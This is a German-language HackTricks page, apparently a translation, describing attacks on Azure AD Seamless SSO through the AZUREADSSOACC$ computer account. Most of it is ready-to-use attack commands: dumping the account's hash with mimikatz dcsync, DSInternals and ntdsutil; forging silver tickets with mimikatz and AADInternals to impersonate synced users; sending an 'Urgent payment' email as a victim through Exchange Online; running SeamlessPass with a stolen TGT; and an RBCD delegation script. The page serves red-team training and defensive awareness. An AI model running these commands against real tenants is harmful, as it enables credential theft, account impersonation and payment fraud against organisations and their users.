Az - Seamless SSO
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Aus den Dokumenten: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugriff auf Ihre cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind.
.png)
https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works
Im Grunde meldet Azure AD Seamless SSO Benutzer an, wenn sie sich auf einem lokal verbundenen PC befinden.
Es wird sowohl von PHS (Password Hash Sync) als auch von PTA (Pass-through Authentication) unterstützt.
Desktop-SSO verwendet Kerberos zur Authentifizierung. Wenn konfiguriert, erstellt Azure AD Connect ein Computer-Konto namens AZUREADSSOACC$
in der lokalen AD. Das Passwort des AZUREADSSOACC$
-Kontos wird im Klartext an Azure AD gesendet während der Konfiguration.
Die Kerberos-Tickets sind verschlüsselt mit dem NTHash (MD4) des Passworts, und Azure AD verwendet das gesendete Passwort, um die Tickets zu entschlüsseln.
Azure AD stellt einen Endpunkt (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos Tickets akzeptiert. Der Browser des domänenverbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter.
On-prem -> cloud
Das Passwort des Benutzers AZUREADSSOACC$
ändert sich niemals. Daher könnte ein Domänenadministrator den Hash dieses Kontos kompromittieren und ihn dann verwenden, um silberne Tickets zu erstellen, um sich mit jedem lokal synchronisierten Benutzer bei Azure zu verbinden:
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
Mit dem Hash kannst du jetzt Silber-Tickets generieren:
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
Um das Silver Ticket zu nutzen, sollten die folgenden Schritte ausgeführt werden:
- Browser starten: Mozilla Firefox sollte gestartet werden.
- Browser konfigurieren:
- Navigieren Sie zu
about:config
. - Setzen Sie die Präferenz für network.negotiate-auth.trusted-uris auf die angegebenen Werte:
https://aadg.windows.net.nsatc.net
https://autologon.microsoftazuread-sso.com
- Zugriff auf die Webanwendung:
- Besuchen Sie eine Webanwendung, die mit der AAD-Domain der Organisation integriert ist. Ein häufiges Beispiel ist Office 365.
- Authentifizierungsprozess:
- Geben Sie auf dem Anmeldebildschirm den Benutzernamen ein und lassen Sie das Passwortfeld leer.
- Drücken Sie zur Fortsetzung entweder TAB oder ENTER.
tip
Dies umgeht keine MFA, wenn sie aktiviert ist
Option 2 ohne dcsync - SeamlessPass
Es ist auch möglich, diesen Angriff ohne einen dcsync-Angriff durchzuführen, um stealthier zu sein, wie in diesem Blogbeitrag erklärt. Dafür benötigen Sie nur eines der folgenden:
- Ein kompromittiertes TGT eines Benutzers: Selbst wenn Sie keines haben, aber der Benutzer kompromittiert wurde, können Sie eines mit dem Fake-TGT-Delegationstrick erhalten, der in vielen Tools wie Kekeo und Rubeus implementiert ist.
- Golden Ticket: Wenn Sie den KRBTGT-Schlüssel haben, können Sie das benötigte TGT für den angegriffenen Benutzer erstellen.
- Ein kompromittierter NTLM-Hash oder AES-Schlüssel eines Benutzers: SeamlessPass wird mit diesen Informationen mit dem Domänencontroller kommunizieren, um das TGT zu generieren.
- AZUREADSSOACC$-Konto NTLM-Hash oder AES-Schlüssel: Mit diesen Informationen und der Sicherheitskennung (SID) des Benutzers, den Sie angreifen möchten, ist es möglich, ein Serviceticket zu erstellen und sich mit der Cloud zu authentifizieren (wie im vorherigen Verfahren durchgeführt).
Schließlich ist es mit dem TGT möglich, das Tool SeamlessPass zu verwenden mit:
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
Weitere Informationen zur Konfiguration von Firefox für die Verwendung mit Seamless SSO sind in diesem Blogbeitrag zu finden.
Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer
Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie SID für jeden Cloud-Benutzer festlegen. Auf diese Weise können Kerberos Tickets auch für Cloud-nur-Benutzer erstellt werden. Die einzige Voraussetzung ist, dass die SID eine gültige SID ist.
caution
Das Ändern der SID von Cloud-nur-Admin-Benutzern ist jetzt von Microsoft blockiert.
Für Informationen siehe https://aadinternals.com/post/on-prem_admin/
On-prem -> Cloud über ressourcenbasierte eingeschränkte Delegation
Jeder, der Computer-Konten (AZUREADSSOACC$
) im Container oder in der OU, in der sich dieses Konto befindet, verwalten kann, kann eine ressourcenbasierte eingeschränkte Delegation über das Konto konfigurieren und darauf zugreifen.
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
Referenzen
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso
- https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/
- https://aadinternals.com/post/on-prem_admin/
- TR19: Ich bin in deiner Cloud und lese die E-Mails aller - Hacking von Azure AD über Active Directory
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.